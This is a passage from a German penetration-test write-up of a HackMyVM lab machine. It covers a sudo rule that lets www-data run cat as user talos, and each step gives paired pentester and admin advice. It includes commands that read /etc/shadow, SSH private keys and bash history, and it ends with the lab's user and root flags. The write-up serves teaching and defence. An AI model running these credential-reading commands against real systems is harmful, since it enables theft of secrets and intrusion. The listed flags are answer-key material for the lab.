Empfehlung (Admin): Überprüfen Sie die Notwendigkeit und Sicherheit des `/usr/bin/updater`-Skripts. Wenn es SUID Root sein muss, stellen Sie sicher, dass es sicher implementiert ist und keine Schwachstellen enthält. Die Berechtigungen (`rwsr-x---`) sind ungewöhnlich und sollten überprüft werden.

www-data@principle2:~/thetruthoftalos.hmv/uploads$ ss -altpn
[...] # Ausgabe zeigt diverse lauschende Ports, bestätigt vorherige Nmap-Ergebnisse

Analyse: Der Befehl `ss -altpn` listet die aktiven lauschenden TCP-Ports auf dem System auf.

Bewertung: Bestätigt die von Nmap gefundenen offenen Ports (80, 111, 139, 445, 2049 und diverse hohe RPC-Ports). Liefert keine neuen Informationen für die Eskalation.

Empfehlung (Pentester): Keine direkte Aktion erforderlich.
Empfehlung (Admin): Sicherstellen, dass nur notwendige Ports lauschen.

www-data@principle2:~/thetruthoftalos.hmv/uploads$ sudo -l
Matching Defaults entries for www-data on principle2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User www-data may run the following commands on principle2:
    (talos) NOPASSWD: /usr/bin/cat

Analyse: `sudo -l` zeigt die `sudo`-Berechtigungen für den Benutzer `www-data`. Es stellt sich heraus, dass `www-data` den Befehl `/usr/bin/cat` als Benutzer `talos` ohne Passwort (`NOPASSWD`) ausführen darf.

Bewertung: Dies ist ein signifikanter Privilege Escalation Vektor! Obwohl es nicht direkt zu Root führt, ermöglicht es `www-data`, beliebige Dateien zu lesen, auf die der Benutzer `talos` Lesezugriff hat. Dies kann genutzt werden, um sensible Informationen wie SSH-Schlüssel oder Passwörter von `talos` zu lesen.

Empfehlung (Pentester): Nutzen Sie diese Berechtigung, um potenziell sensible Dateien im Home-Verzeichnis von `talos` zu lesen, insbesondere im `.ssh`-Verzeichnis (`sudo -u talos /usr/bin/cat /home/talos/.ssh/id_rsa`, `sudo -u talos /usr/bin/cat /home/talos/.bash_history`, etc.) oder Konfigurationsdateien, auf die `talos` Zugriff hat.
Empfehlung (Admin): Überprüfen Sie diese `sudo`-Regel dringend. Das Ausführen von `cat` als anderer Benutzer ist gefährlich, da es den Lesezugriff auf alle Dateien dieses Benutzers ermöglicht. Ersetzen Sie dies durch spezifischere, sicherere Mechanismen, falls eine solche Funktionalität benötigt wird.

www-data@principle2:~/thetruthoftalos.hmv/uploads$ sudo -u talos /usr/bin/cat /etc/shadow
/usr/bin/cat: /etc/shadow: Permission denied
www-data@principle2:~/thetruthoftalos.hmv/uploads$ sudo -u talos /usr/bin/cat /home/talos/*
/usr/bin/cat: '/home/talos/*': No such file or directory

Analyse: Es werden zwei Versuche unternommen, die `sudo`-Regel zu nutzen: 1. `sudo -u talos /usr/bin/cat /etc/shadow`: Fehlschlag, da der Benutzer `talos` selbst keine Leserechte auf `/etc/shadow` hat (gehört `root`, Gruppe `shadow`). 2. `sudo -u talos /usr/bin/cat /home/talos/*`: Fehlschlag, da die Shell das Wildcard `*` expandiert, bevor `sudo` ausgeführt wird, und `www-data` wahrscheinlich keine Leserechte auf alle Dateien in `/home/talos` hat, oder das Wildcard von `cat` nicht korrekt interpretiert wird. Es hätte ein spezifischer Dateiname angegeben werden müssen.

Bewertung: Die `sudo`-Regel wurde nicht optimal genutzt. Es wurde versäumt, spezifische, potenziell lesbare Dateien im Kontext von `talos` anzuvisieren (z.B. `id_rsa`). Die Protokollierung endet hier, bevor eine erfolgreiche Eskalation über diesen Weg gezeigt wird.

Empfehlung (Pentester): Verwenden Sie den `sudo`-Befehl korrekt, um spezifische Dateien zu lesen, auf die `talos` Zugriff hat, z.B.: `sudo -u talos /usr/bin/cat /home/talos/.ssh/id_rsa`. Wenn dies erfolgreich ist, verwenden Sie den Schlüssel, um sich als `talos` per SSH anzumelden und nach weiteren Eskalationsmöglichkeiten zu suchen (z.B. mit dem SUID-`updater`).
Empfehlung (Admin): `sudo`-Regel korrigieren.

**Abschließende Bewertung des Logs:** Das Log dokumentiert erfolgreich den Initial Access als `www-data` über eine (implizierte) Webshell-Upload-Schwachstelle. Es identifiziert korrekt einen vielversprechenden Privilege Escalation Vektor (`sudo -u talos cat`), aber die weitere Ausnutzung dieses Vektors oder des SUID-`updater`-Binaries wird nicht gezeigt. Die am Ende aufgelisteten Flags scheinen daher nicht durch die im Log dokumentierten Schritte erreichbar gewesen zu sein.

Flags

cat user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A